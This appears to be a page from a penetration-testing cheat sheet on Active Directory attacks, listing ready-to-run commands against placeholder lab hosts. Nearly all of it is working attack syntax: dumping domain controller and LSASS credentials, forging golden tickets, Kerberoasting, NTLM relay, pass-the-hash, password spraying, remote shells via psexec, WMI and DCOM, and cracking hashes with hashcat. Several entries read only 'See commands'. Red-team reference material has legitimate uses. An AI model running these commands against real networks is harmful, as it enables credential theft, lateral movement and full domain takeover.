python3 secretsdump.py -ntds ntds.dit -system SYS LOCAL

Dump DC hashes with secretsdump

python3 secretsdump.py test.local/test:Welkom01!@10.10.10.1

python3 smbexec.py test.local/test:Welkom01!@10.10.10.1

List Shares and list, rename, upload and download files

python3 smbclient.py test.local/test:Welkom01!@10.10.10.1

List system user acounts, available resource shares, and other sensitive information

python3 samrdump.py test.local/test:Welkom01!@10.10.10.1

Remote Registry Manipulation

python3 reg.py test.local/test:Welkom01!@10.10.10.1 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s

Enumerate Remote Procedure Call (RPC) endpoints

python3 rpcdump.py test.local/test:Welkom01!@10.10.10.1

Modify property of a target computer with the security descriptor of another computer

python3 rbcd.py -action write -delegate-to "DC01$" -delegate-from "EVILCOMPUTER$" -dc-ip 10.10.10.1 -hashes :A9FDFA038C4B75EBC76DC855DD74F0DA test.local/test

Get an Interactive Shell on the Windows host

python3 psexec.py test.local/test:Welkom01!@10.10.10.1

Get an Interactive Shell on the Windows host using Pass the Ticket (PTT)

export KRB5CCNAME=/full/path/to/test.ccache; python3 psexec.py test.local/test@10.10.10.1 -k -no-pass

Perform NTLM Relay Attack

python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -c 'whoami /all' -debug

Initiate a mimikatz shell on the target machine

python3 mimikatz.py test.local/test:Welkom01!@10.10.10.1

Identify users/groups by bruteforcing Windows SID's

python3 lookupsid.py test.local/test:Welkom01!@10.10.10.1

Golden Ticket Attack

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 test

Fetch Service Principal Names (SPNs) that are associated with user accounts

python3 GetUserSPNs.py test.local/test:Welkom01! -request -dc-ip 10.10.10.1 -debug

Harvest non-preauth AS_REP responses for a given list of usernames

python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes

Gather data about the domain users and corresponding email addresses

python3 GetADUsers.py -all test.local/test:Welkom01! -dc-ip 10.10.10.1

Extract and decrypt Group Policy Preferences (GPP) passwords

python3 Get-GPPPassword.py 'TEST.local/test:Welkom01!@DC01.TEST.local' -dc-ip 10.10.10.1

Interactive shell using DCOM endpoints

python3 dcomexec.py -object MMC20 test.local/test:Welkom01!@10.10.10.1

Add computer to the domain using SMB

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/test:Welkom01!

Add computer to the domain using LDAPS

python3 addcomputer.py -method LDAPS -dc-ip 10.10.10.1 -computer-pass Welkom02! -computer-name testComputer test.local/test:Welkom01!

Fast NTLM Cracking

See commands.

Cracking with masks (feasible for 8-11 characters)

See commands.

Cracking with huge wordlist

hashcat64.exe -a 0 -m 1000 -w 3 hashes/DC_Pwdump_hashes.txt wordlist/HashesOrg -O -r rules/best64.rule

Crack kerberos ticket hashes

hashcat -m 13100 -w 3 hash.txt rockyou.txt --force

Crack kerberos ASREP hashes

hashcat -m 18200 -w 3 hash.txt rockyou.txt -O

Crack intercepted (responder) hashes

hashcat -m 5600 hashes.txt wordlist.txt -o cracked.txt --force

Crack intercepted (responder) hashes using brute force

hashcat -m 5600 hashes.txt -a 3 -1 ?d?l?u ?1?1?1?1

Bruteforcing NTLM (3-8 chars)

hashcat64.exe -m 1000 -a 3 -w 4 --session vol1 hash.txt -i --increment-min 3 --increment-max 8 ?a?a?a?a?a?a?a?a -O

Recover plaintext domain credentials from WPA2 enterprise on a compromised host

powershell -exec bypass -Command "&{. .\Get-WPAEnterprisePassword.ps1; Get-WlanEnterprisePassword}"

Get all DNS records from Domain Controller with Domain Admin

Get-DnsServerResourceRecord -ZoneName <AD>

Find uncommon shares in vast Windows Domains

python3 FindUncommonShares.py -u 'test' -d 'test.local' -p 'Welkom01!' --dc-ip 10.10.10.1

File Transfers - Windows to Linux - SMB

See commands.

File Transfers - Windows to Linux - SCP

See commands.

File Transfers - Windows to Linux - FTP

See commands.

File Transfers - Linux to Windows - Powershell

See commands.

File Transfers - Linux to Windows - Native commands

See commands.

Interactive shell on windows host using WMI

evil-winrm -i 10.10.10.1 -u test -p Welkom01!

Find Users with Enum4Linux-ng

enum4linux-ng -U 10.10.10.1 | grep 'user:'

Find Network Shares with Enum4Linux-ng

enum4linux-ng -A 192.168.4.0/24

Enumerating System Information

enum4linux-ng -A 10.10.10.1

Enumerating System Information

enum4linux -u test -p Welkom01! -A 10.10.10.1

Make NTDS backup by creating a shadow copy

See commands.

Capture authentication to relay to other hosts

python3 dementor.py -u test -p Welkom01! -d test.local 10.10.10.2 10.10.10.1

Test on what machines your account works

python3 CredNinja.py -a users.txt -s hosts.txt

Enumerate users with winrm using Crackmapexec

crackmapexec winrm 10.10.10.1 -u users.txt -p 'Welkom01' --continue-on-success

Create a list of targets with SMB Signing disabled (required to relay)

crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

Pass the hash

crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH

Create a list of targets with SMB Signing disabled (required to relay)

crackmapexec smb 10.0.0.0/24 -d test.local -u Administrator -p Welkom01! -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound

Execute powershell command on the target machine (Admin priv needed)

crackmapexec smb 10.10.10.1 -u 'test' -p 'Welkom01!' -X '$Host'

Enumerate SMB with Crackmapexec

crackmapexec smb 10.10.10.1 -u 'test' -p 'Welkom01!' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol

Dump DC hashes without password

crackmapexec smb 172.28.2.100 -u <username> -d <domain> -H <NTLM hash> -x 'C:\Windows\temp\procdump.exe -accepteula -ma lsass.exe C:\Windows\temp\lsass.dmp'

Create a new domain admin account with CME

See commands.

Create a list of targets with SMB Signing disabled (required to relay)

crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

Dump DC hashes without password

See commands

Bruteforce with multiple passwords

crackmapexec SMB 192.168.4.0/24 -u username1 -p password1 password2

Enumerate users with RID Bruteforce

crackmapexec smb 10.10.10.1 -u test -p Welkom01! --rid-brute

BloodHound Remote Ingestion without Creds

sudo bloodhound-python -d test.local -ns 10.10.10.1 -c All

BloodHound Remote Ingestion with Hash

sudo bloodhound-python -u test -d test.local --hashes aad3b435b51404eeaad3b435b51404ee:B4B9B02E6F09A9BD760F388B67351E2B -dc DC01 -c all

BloodHound Remote Ingestion with Creds

sudo bloodhound-python -u test -p Welkom01 -ns 10.10.10.1 -d test.local -c All

BloodHound Queries

https://gist.github.com/seajaysec/a4d4a545047a51053d52cba567f78a9b

Get an overview of the AD with ADRecon

PS C:>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

How to add commands?

HackerBible

What you have:

Services:

Attack Type:

OS: